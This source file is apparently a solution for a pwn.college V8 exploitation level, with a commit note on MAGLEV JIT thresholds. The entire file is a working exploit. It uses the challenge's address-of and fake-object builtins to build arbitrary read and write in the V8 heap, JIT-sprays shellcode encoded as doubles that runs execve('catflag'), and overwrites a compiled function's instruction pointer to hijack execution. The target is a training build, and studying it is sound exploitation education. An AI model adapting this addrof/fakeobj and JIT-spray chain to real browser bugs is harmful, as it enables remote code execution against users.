Files
pwn-learning/JavaScript/PwnCollegeV8Exploitation/Level3/Exploit.js
Jack Ren 90245c7091 Minor Changes to Level 3 & 4 of PwnCollegeV8Exploitation
1. The threshold to trigger MAGLEV compilation is different when gdb is attached to d8 or not.
    - When gdb attached to d8, the training loop count to trigger MAGLEV is 100,000.
    - But when the standalone d8 running, the training loop count to trigger MAGLEV is only 10,000. If you still use 100,000, it will trigger TURBOFAN then code data structure will change and shellcode execution fails.
2. Fixed other miscellaneous minor mistakes.
2024-09-15 08:57:29 +08:00

105 lines
3.4 KiB
JavaScript

// Integrated Builtin:
// - int32 GetAddressOf(HeapObject obj);
// - HeapObject GetFakeObject(int32 addr);
let ab = new ArrayBuffer(8);
let f64a = new Float64Array(ab, 0, 1);
let i32a = new Uint32Array(ab, 0, 2);
let si32a = new Int32Array(ab, 0, 2);
let bi64a = new BigUint64Array(ab, 0, 1);
function c2f(low, high) { // combined (two 4 bytes) word to float
i32a[0] = low;
i32a[1] = high;
return f64a[0];
}
function b2f(v) { // bigint to float
bi64a[0] = v;
return f64a[0];
}
function f2b(v) { // float to bigint
f64a[0] = v;
return bi64a[0];
}
function unptr(v) {
return v & 0xfffffffe;
}
function ptr(v) {
return v | 1;
}
function shellcode() { // Promote to ensure not GC during training
// JIT spray machine code form of `execve("catflag", NULL, NULL)`
return [1.9995716422075807e-246, 1.9710255944286777e-246, 1.97118242283721e-246, 1.971136949489835e-246, 1.9711826272869888e-246, 1.9711829003383248e-246, -9.254983612527998e+61];
}
for (let i = 0; i < 10000; i++) shellcode(); // Trigger MAGLEV compilation
// Create a PACKED_DOUBLE_ELEMENTS array contains faked PACKED_DOUBLE_ELEMENTS array
// map, properties, elements, length --- first three field are static roots
var arr = [c2f(0x001cb8a5, 0x00000725), c2f(0x00000725, 0x00008000)];
// %SystemBreak();
var arr_addr = GetAddressOf(arr);
console.log("Address of arr: " + arr_addr.toString(16));
var fakearr = GetFakeObject(arr_addr + 0x54); // Heap Fengshui
// %DebugPrint(fakearr);
// %SystemBreak();
// QWORD Aligned
function ArbRead64(cage_addr) { // int32
if (cage_addr & 0x7) throw new Error("Must QWORD Aligned");
arr[1] = c2f(ptr(cage_addr - 0x8), 0x00008000);
let result = f2b(fakearr[0]);
console.log(`ArbRead64 ${cage_addr.toString(16)}: ${result.toString(16)}`);
return result;
}
// QWORD Aligned
function ArbWrite64(cage_addr, value) { // int32, bigint
if (cage_addr & 0x7) throw new Error("Must QWORD Aligned");
arr[1] = c2f(ptr(cage_addr - 0x8), 0x00008000);
let written = b2f(value);
fakearr[0] = written;
console.log(`ArbWrite64 ${cage_addr.toString(16)}: ${value.toString(16)}`);
}
// ArbRead64(0xfffffff0);
// ArbWrite64(0x1230, 0x1234n);
// DWORD Aligned
function ArbRead32(cage_addr) { // int32 -> int32
if (cage_addr & 0x3) throw new Error("Must DWORD Aligned");
bi64a[0] = ArbRead64(cage_addr & 0xfffffff8);
let result = i32a[(cage_addr & 0x4) >> 2];
console.log(`ArbRead32 ${cage_addr.toString(16)}: ${result.toString(16)}`);
return result;
}
// DWORD Aligned
function ArbWrite32(cage_addr, value) { // int32, int32 -> void
if (cage_addr & 0x3) throw new Error("Must DWORD Aligned");
let QWORD_Aligned_cage_addr = cage_addr & 0xfffffff8;
bi64a[0] = ArbRead64(QWORD_Aligned_cage_addr);
i32a[(cage_addr & 0x4) >> 2] = value;
ArbWrite64(QWORD_Aligned_cage_addr, bi64a[0]);
console.log(`ArbWrite32 ${cage_addr.toString(16)}: ${value.toString(16)}`);
}
// %DebugPrint(arr);
// %SystemBreak();
let shellcode_addr = GetAddressOf(shellcode);
console.log("Address of shellcode: " + shellcode_addr.toString(16));
// %DebugPrint(shellcode);
let code_addr = unptr(ArbRead32(shellcode_addr + 0xC));
console.log("Address of code: " + code_addr.toString(16));
let instruction_start_addr = code_addr + 0x14;
let instruction_start = ArbRead32(instruction_start_addr);
console.log("instruction_start: " + instruction_start.toString(16));
ArbWrite32(instruction_start_addr, instruction_start + 0x6B);
shellcode();